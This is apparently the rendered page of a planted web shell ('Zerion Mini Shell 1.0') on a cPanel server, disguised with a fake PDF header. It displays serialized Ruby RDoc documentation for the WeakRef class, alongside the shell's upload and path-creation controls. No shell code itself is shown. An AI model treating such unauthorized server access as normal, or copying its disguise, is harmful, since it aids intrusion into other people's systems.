%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/WeakRef/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/WeakRef/cdesc-WeakRef.ri

U:RDoc::NormalClass[iI"WeakRef:ET@I"Delegator;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I"@Weak Reference class that allows a referenced object to be ;TI"garbage-collected.;To:RDoc::Markup::BlankLineo;	;[I"AA WeakRef may be used exactly like the object it references.;T@o;	;[I"Usage:;T@o:RDoc::Markup::Verbatim;[I"@foo = Object.new            # create a new object instance
;TI"4p foo.to_s                  # original's class
;TI"Ffoo = WeakRef.new(foo)      # reassign foo with WeakRef instance
;TI"8p foo.to_s                  # should be same class
;TI"?GC.start                    # start the garbage collector
;TI"Ep foo.to_s                  # should raise exception (recycled)
;T:@format0S:RDoc::Markup::Heading:
leveli:	textI"Example;T@o;	;[I"QWith help from WeakRef, we can implement our own rudimentary WeakHash class.;T@o;	;[I"PWe will call it WeakHash, since it's really just a Hash except all of it's ;TI".keys and values can be garbage collected.;T@o;;[I"require 'weakref'
;TI"
;TI"class WeakHash < Hash
;TI"  def []= key, obj
;TI"2    super WeakRef.new(key), WeakRef.new(obj)
;TI"  end
;TI"	end
;T;0o;	;[I"SThis is just a simple implementation, we've opened the Hash class and changed ;TI"OHash#store to create a new WeakRef object with +key+ and +obj+ parameters ;TI";before passing them as our key-value pair to the hash.;T@o;	;[I"NWith this you will have to limit your self to String keys, otherwise you ;TI"Owill get an ArgumentError because WeakRef cannot create a finalizer for a ;TI"CSymbol. Symbols are immutable and cannot be garbage collected.;T@o;	;[I"Let's see it in action:;T@o;;[I"omg = "lol"
;TI"c = WeakHash.new
;TI"c['foo'] = "bar"
;TI"c['baz'] = Object.new
;TI"c['qux'] = omg
;TI"puts c.inspect
;TI"I#=> {"foo"=>"bar", "baz"=>#<Object:0x007f4ddfc6cb48>, "qux"=>"lol"}
;TI"
;TI"%# Now run the garbage collector
;TI"GC.start
;TI"c['foo'] #=> nil
;TI"c['baz'] #=> nil
;TI"c['qux'] #=> nil
;TI"omg      #=> "lol"
;TI"
;TI"puts c.inspect
;TI"B#=> WeakRef::RefError: Invalid Reference - probably recycled
;T;0o;	;[	I"PYou can see the local variable +omg+ stayed, although its reference in our ;TI"Lhash object was garbage collected, along with the rest of the keys and ;TI"Rvalues. Also, when we tried to inspect our hash, we got a WeakRef::RefError. ;TI"?This is because these objects were also garbage collected.;T:
@fileI"lib/weakref.rb;T:0@omit_headings_from_table_of_contents_below0;0;0[[[[[I"
class;T[[:public[[I"new;TI"lib/weakref.rb;T[:protected[[:private[[I"
instance;T[[;[[I"weakref_alive?;F@d[;[[;[[[U:RDoc::Context::Section[i0o;;[;0;0[@X@XcRDoc::TopLevel

Zerion Mini Shell 1.0